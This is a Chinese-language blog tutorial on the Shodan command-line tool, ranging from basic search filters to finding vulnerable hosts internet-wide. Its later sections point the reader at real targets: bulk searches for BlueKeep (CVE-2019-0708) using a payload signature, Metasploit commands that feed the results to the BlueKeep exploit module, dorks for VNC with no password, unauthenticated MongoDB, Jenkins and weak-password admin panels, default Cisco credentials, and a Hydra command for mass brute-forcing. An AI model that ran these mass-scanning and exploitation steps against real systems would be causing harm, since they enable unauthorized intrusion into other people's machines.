SHODAN学习

2024-11-24 57 11/24

SHODAN学习

shodan(1)

原理:其实shodan的原理就是在服务器上装了各种的扫描器,有扫漏洞的,有扫硬件的,而且是24小时无休止的扫。

kali中将shodan 进行克隆执行

git clone https://github.com/achillean/shodan-python.git

cd shodan-python

python setup.py install

shodan init api_key

shodan -h

参数学习

一、host与search参数的用法

找一些日本的ip地址

shodan search --limit 10 country:jp

(limit 限制搜索结构数量显示,country限制搜索国别(地区))

shodan search --limit 10 --fields ip_str,port country:jp

(会出来10组ip,并且位于日本country)

(ip_str =>以ipv4的形式进行输出显示,如果参数为ip则只会输出其数字ip)

shodan search --limit 10 --fields ip_str country:jp

shodan search --color --limit 10 --fields ip_str port:3389 country:cn city:shenzhen

(用color 会把搜索到的信息进行标红)

国别地区:

country:cn

城市信息:

city:shenzhen

端口:

port:3389

查看ip信息(City、Country、OS操作系统、Organization组织、Update更新、poets端口):

shodan host ip

过滤信息:

--firlds ip_str,port

显示信息数量:

--limit 10

深颜色表示:

--color

操作系统:

os:windows7

漏洞:

has_vuln:True

设备.摄像头:

device:webcam

设备.路由器: device:router

web端的一些设备:

tp-link

相关语法:

hostname——————————搜索指定的主机或域名,例如 hostname:baidu port——————————————搜索指定的端口或服务,例如 port:80 country———————————搜索指定的国家,例如 country:US city——————————————搜索指定的城市,例如 city:Chengdu org———————————————搜索指定的组织或公司,例如 org:"Google" isp———————————————搜索指定的ISP供应商,例如 isp:"China Telecom" product———————————搜索指定的操作系统/软件/平台,例如 product:"Apache httpd" version———————————搜索指定的软件版本,例如 version:"1.6.2" geo———————————————搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808" before/after——————搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15" net———————————————搜索指定的IP地址或子网,例如 net:"210.45.240.0/24"

vuln———————————————指定CVE漏洞编号,例如 vuln:"CVE-2014-0723"

http———————————————指定网页内容、标题、响应码、sever类型

例如 http.html:"hello world"

http.title:"hello"

http.status:200

http.server:Apache/2.4.7 http.server:PHP

shodan(2)

批量刷洞

shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' 十六进制字符串(CVE-2019-0708的一个漏洞RDP远程桌面连接)(怎么使用shodan去进行一个批量查找进行一个关于CVE-2019-0708的远控漏洞批量查询,全球互联网搜索)(那个十六进制字符串是0708的漏洞特征码或者叫做漏洞有效负载)

  • 实例:

175.178.250.29 3389

SHODAN学习

SHODAN学习

学会了利用漏洞特征去扫0708的漏洞存活机器,那更应该学会其他的特征代码或者CVE代码号去进行一个全网的漏洞扫描,与漏洞利用,更可以利用MSF直接进行一个批量的Payload利用

(还是那句话,学网络安全就要举一反三,一通百通)

MSF利用

首先打开MSF

msfconsole

找寻目标

search 0708

进入exploit

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

查看设置

show options

直接拖进ip与port文件路径

set rhosts file:'/root/Desktop/0708.txt'

然后检测

check

shodan download (下载)

shodan download 0708 --limit 100 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'

(0708是保存的文件名)

shodan parse (解压缩)

shodan parse --fields ip_str 0708

搜索指定漏洞骚操作

收集漏洞信息

  • 以CVE-2019-0708为例,先知道其漏洞特征(指纹)

    (1)存在windows的远程桌面服务中

    (2)需要连接3389端口

    (3)操作系统的版本特征:Windows 7、Windows Server 2008 R2或Windows XP等受影响版本

    (4)利用特制的RDP请求探测是否存在异常响应,指示该系统可能受到攻击。

shodan搜索

端口:3389

操作系统:os:"windows 7"

存在漏洞:has_vuln:ture

shodan search --limit 10 --fields ip_str port:3389 os:"windows 7" has_vuln:ture

验证

shodan host ip

shodan(3)

count计数功能 (后面加上搜索的参数语法)

shodan count

honeyscore 判断服务器是否为蜜罐,并进行扫描

shodan honeyscore ip

搜索服务器历史信息 使用参数 --history

shodan host 110.242.68.66 --history

vnc空密码远程连接

shodan search --limit 10 --fields ip_str "authentication disabled" port:5900

利用扫到的ip,在vncviewer里面进行一个连接。

shodan(4)

搜索一些路由器、交换机、和一些其他信息

myip用法(查看自己的出口ip-哪一个ip连接了公网)

shodan myip

http.title用法(查询一些已经被黑掉的网站)

shodan search --limit 10 --fields ip_str,port http.title:hacked

查找思科服务器

shodan search --limit 10 --fields ip_str,port "cisco -authorired port:23"

-authorired 弱口令特征

username:admin/cisco

password:cisco

寻找弱密码后台

shodan search --limit 10 --fields ip_str,port http.title:棋牌后台

弱口令:admin 123456

  • Hydra 批量爆破

    hydra -L usernames.txt -P passwords.txt telnet -M ip.txt -o results.txt -t 16 -V

    有一个名为usernames.txt的用户名字典和一个名为passwords.txt的密码字典,你想对多个SSH服务器进行爆破,IP列表存储在ssh_servers.txt文件中

    • -l [用户名]:指定单个用户名进行爆破。

    • -L [用户名字典文件]:使用指定的用户名字典文件进行爆破。

    • -p [密码]:指定单个密码进行爆破(不常用,通常使用密码字典)。

    • -P [密码字典文件]:使用指定的密码字典文件进行爆破。

    • -M [IP列表文件]:指定要攻击的目标IP列表文件,每行一个IP地址。

    • -o [输出文件]:将找到的登录/密码对保存到指定的输出文件中。

    • -f:每个主机找到第一个成功的登录/密码对后就停止爆破。

    • -F:所有主机中找到一个成功的登录/密码对后就停止爆破。

    • -t [任务数]:每个目标同时运行的任务数(线程数)。

    • -T [总任务数]:所有目标总共运行的任务数(线程数)。

    • -v / -V / -d:详细日志模式/每次尝试仅显示用户名和密码/调试模式

  • 爆破的目录中字段末尾不能有空格,直接使用kali自带文件编辑器进行末尾空格删除。

shodan(5)

利用shodan搜索一个网段

shodan search --limit 10 --fields ip_str,port net:208.88.84.0/24

(老美国家安全局的一个网段,域名www.nsa.gov[美国安全局官方网站 ip: 208.88.84.219])

利用shodan搜索一些组织的ip地址

shodan search --limit 10 --fields ip_str,port org:nsa

查询该组织的ip地址(如果是外网的情况下需要再kali里面挂代理才能进行访问)

利用shodan找一些指定所处组织的网站的ip地址(hostname)

shodan search --limit 10 --fields ip_str,port hostname:google

搜索关于Google的ip地址

利用shodan查找安装了安全狗WAF的网站(http.waf)

shodan search --limit 10 --fields ip_str,port country:cn http.waf:safedog

利用http.waf查找安全狗

利用shodan 查询前端页面带有关键词的网站(http.html)

shdoan search --limit 10 --fields ip_str,port country:cn http.html:login

利用http.html 属性查询 带有login特征进行查询

利用shodan进行Mongodb数据库未授权登录

shodan search --limit 10 --fields ip_str "Mongodb server information -authentioation" port:27017

未授权就是一般能够直接连进数据库

利用shodan搜索jenkins组件

shodan search --limit 10 --fields ip_str "X-Jenkins" OR "Set-cookie:JSESSIONID" http.title:"Dashboard"

搜索组件jenkins

Jenkins组件(开源软件)

功能(优点)

  1. 自动化构建

    监视源代码仓库的变化,并在代码提交后自动执行构建过程,包括编译、测试和打包等步骤。

  2. 易于集成

    可以与多种版本控制系统(如Git、SVN等)以及构建工具(如Maven、Gradle等)无缝集成,方便用户进行项目构建和管理。

  3. 用户界面(红队渗透攻击面

    基于Web的用户界面,用户可以通过这个界面轻松地配置项目、管理构建任务和查看构建结果。

  4. 插件生态系统

    可以安装插件扩展来扩大功能,满足需求。

  5. 持续部署

    将构建好的应用程序部署到测试环境和生产环境。

  6. 跨平台支持

    Windows、Linux和macOS等多种操作系统上运行,具有很强的跨平台能力。

  7. 分布式构建

    分布式构建,可以在多台计算机上并行执行构建任务,提高构建效率。

  8. 权限管理

    详细的权限管理功能,可以对不同用户分配不同的权限。

shodan(6)

webcam摄像头

search webcam

monitor模块 (目标网站暂时没有漏洞就可以进行监控,等有漏洞之类的情况就会通知)

监控(shodan的一个模块,用来监控网站 ip的)

settings(设置通知邮箱)

dashboard(现有监控的一些信息 端口 漏洞 ip地址 (存在CDN就会返回对个ip地址))

product参数 (搜索一些产品)

如 product:"OpenSSH" 搜索ssh服务是 OpenSSH 的ip服务器

如 shodan search --limit 10 --fields ip_str,port product:Apache httpd 搜索关于Apache httpd的一些ip

如 shodan search --limit 10 --fields ip_str,port org:Tencent cloud

shodan(7)【完结】

  1. 查看帮助文档,就是怎么去配置监控ip,但是能在web上进行监控就在web上,web监控设置比较方便

shodan alert -h

  1. 查看使用shodan查询的次数(因为每个shodan用户每个月查询的次数都是有限的)

shodan info

  1. 查询域名信息 (查域名还有许多工具知道就行)

shodan domain baidu.com -- 查询baidu.com域名的信息

  1. 使用shodan进行一个实时的扫描(shodan是一个非实时的工具可能我们得到的ip信息都是几个月之前的一个信息,我们就可以使用scan模块进行一个实时的扫描)

shodan scan -h --查看帮助文档

shodan scan submit ip地址 --类似nmap扫描,对于整个网络资产扫描

shodan scan list --查看扫描信息

shodan stats --facets ssl.version country:cn has_ssl:true -- 统计SSL的一个版本信息,在中国境内

  1. 根据参数学会组合筛选,利用国家地区、漏洞、服务、版本、ip、端口等信息进行一个搭配组合,进行一个适用于当前需求的一句搜索命令

shodan search --limit 10 --fields ip_str,port org:Tencent cloud port:3389 -- 查属于腾讯资产开启3389端口的主机

  1. 截图搜索参数 (web页面搜索更直观一些)

has_screenshot:true cisco

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论